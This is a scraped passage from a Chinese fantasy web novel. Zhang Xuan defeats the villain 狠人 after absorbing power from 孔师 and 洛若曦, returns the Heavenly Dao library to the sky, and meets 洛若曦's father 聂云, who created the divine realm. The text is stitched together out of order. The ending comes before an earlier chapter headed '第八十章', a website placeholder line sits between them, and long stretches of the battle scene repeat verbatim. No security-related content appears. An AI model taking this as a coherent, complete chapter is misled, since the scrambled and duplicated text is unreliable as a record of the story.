这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第八十章 串通好的 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 